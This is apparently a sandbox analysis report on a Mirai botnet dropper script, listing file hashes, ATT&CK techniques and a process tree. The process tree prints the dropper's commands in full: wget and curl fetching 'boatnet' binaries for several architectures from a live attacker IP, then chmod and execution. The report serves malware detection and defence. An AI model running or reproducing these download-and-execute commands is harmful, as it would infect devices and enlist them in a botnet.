mirai | 288bf21e07a5cc2a9f12c856ed829b9266878621c823542150ee74e961cc5d71

Analysis

max time kernel
119s
max time network
138s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
23-12-2024 05:05

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General

Target

ohshit.sh
Size

3KB
MD5

e0ccd217979419469e913cbef10872f3
SHA1

6bbef022dcf450af81bee90522e4c82069c84064
SHA256

288bf21e07a5cc2a9f12c856ed829b9266878621c823542150ee74e961cc5d71
SHA512

38402719e384396071ab1f779eb0d67a55570ecfb04018e47cafdfd73ce04984e15c0d2942b446cee5652a449e22a8690812dbe5fd232736cb8a3939531255ce

Score

10^/10

mirai botnet defense_evasion discovery upx

Malware Config

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
840	chmod
846	chmod
715	chmod
810	chmod
816	chmod
828	chmod
834	chmod
726	chmod
822	chmod
852	chmod

Executes dropped EXE 10 IoCs

ioc	pid	Process
/tmp/WTF	717	WTF
/tmp/WTF	727	WTF
/tmp/WTF	811	WTF
/tmp/WTF	817	WTF
/tmp/WTF	823	WTF
/tmp/WTF	829	WTF
/tmp/WTF	835	WTF
/tmp/WTF	841	WTF
/tmp/WTF	847	WTF
/tmp/WTF	853	WTF

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/files/fstream-1.dat	upx
behavioral4/files/fstream-4.dat	upx

Reads runtime system information 10 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
725	cat
720	wget
724	curl

Writes file to tmp directory 7 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/boatnet.mips	wget
File opened for modification	/tmp/boatnet.mips	curl
File opened for modification	/tmp/boatnet.arc	wget
File opened for modification	/tmp/boatnet.arc	curl
File opened for modification	/tmp/boatnet.x86	wget
File opened for modification	/tmp/boatnet.x86	curl
File opened for modification	/tmp/WTF	ohshit.sh

/tmp/ohshit.sh
/tmp/ohshit.sh
1⤵
- Writes file to tmp directory
PID:690
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.x86
  2⤵
  - Writes file to tmp directory
  PID:693
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:703
- /bin/cat
  cat boatnet.x86
  2⤵
  PID:714
- /bin/chmod
  chmod +x boatnet.x86 ohshit.sh systemd-private-6959615890b94d28b77e9e6230635170-systemd-timedated.service-hyoMq6 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:715
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:717
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:720
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:724
- /bin/cat
  cat boatnet.mips
  2⤵
  - System Network Configuration Discovery
  PID:725
- /bin/chmod
  chmod +x boatnet.mips boatnet.x86 ohshit.sh systemd-private-6959615890b94d28b77e9e6230635170-systemd-timedated.service-hyoMq6 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:726
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:727
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:729
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.arc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:730
- /bin/cat
  cat boatnet.arc
  2⤵
  PID:809
- /bin/chmod
  chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:810
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:811
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.i468
  2⤵
  PID:813
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.i468
  2⤵
  - Reads runtime system information
  PID:814
- /bin/cat
  cat boatnet.i468
  2⤵
  PID:815
- /bin/chmod
  chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:816
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:817
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.i686
  2⤵
  PID:819
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.i686
  2⤵
  - Reads runtime system information
  PID:820
- /bin/cat
  cat boatnet.i686
  2⤵
  PID:821
- /bin/chmod
  chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:822
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:823
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.x86_64
  2⤵
  PID:825
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.x86_64
  2⤵
  - Reads runtime system information
  PID:826
- /bin/cat
  cat boatnet.x86_64
  2⤵
  PID:827
- /bin/chmod
  chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:828
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:829
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.mpsl
  2⤵
  PID:831
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.mpsl
  2⤵
  - Reads runtime system information
  PID:832
- /bin/cat
  cat boatnet.mpsl
  2⤵
  PID:833
- /bin/chmod
  chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:834
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:835
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.arm
  2⤵
  PID:837
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.arm
  2⤵
  - Reads runtime system information
  PID:838
- /bin/cat
  cat boatnet.arm
  2⤵
  PID:839
- /bin/chmod
  chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:840
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:841
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.arm5
  2⤵
  PID:843
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.arm5
  2⤵
  - Reads runtime system information
  PID:844
- /bin/cat
  cat boatnet.arm5
  2⤵
  PID:845
- /bin/chmod
  chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:846
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:847
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.arm6
  2⤵
  PID:849
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.arm6
  2⤵
  - Reads runtime system information
  PID:850
- /bin/cat
  cat boatnet.arm6
  2⤵
  PID:851
- /bin/chmod
  chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:852
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:853
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.arm7
  2⤵
  PID:856

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/WTF

Filesize
23KB

MD5
366837c461677cb1b37924604fe50564

SHA1
ce442f4c57322b7dbafcaebd37cb0ee531d0ea4d

SHA256
c28510d75f73788f786fb0e5f14f3b7d6e349e0eeaa5922c6743be66824b4c4f

SHA512
4434b96a2931b0bbf39863cecd0c924e64e8d051b9277ae7a86ed151d60bdebfaf2f7b749ec6cad8a41000a3acb268adaea9f42868f5617a52f8053efad79840

Download Submit
/tmp/WTF

Filesize
52KB

MD5
cf56a03f39c0ac7e03aabe15d922fc0b

SHA1
b9f1e8965b62a7b533088c70b3a116fd56e15d79

SHA256
62de02aca0b8cfedf3148ce1d30e8f1ff42d9b42aadd15003e1248c2a483cc0c

SHA512
0938b7f67f6528dc169cb2b23799a45a926d3f1522049ca3e669aafb697a06cfc7cb97188517f5934187360ad3969011d89d4503a7bf3d5e6685cfdf8c6e97b4

Download Submit
/tmp/boatnet.x86

Filesize
20KB

MD5
cfdee595514f89c9e1ca4c3c26837bb6

SHA1
726f957189f0ce2da9008987aaa7f51453ede884

SHA256
4940c3107a34d4b65f81e5e5e7a54f31fce9417fe74d18dd6e6b104d07197a3d

SHA512
07cd565d04eeef92d3bf0613413d2c63bc045d6093bb048118b3f80254701c9aaef7dac444dc39ced7c2297754d7dbe1da4f808a6e2e87727f9272b436fea226

Download Submit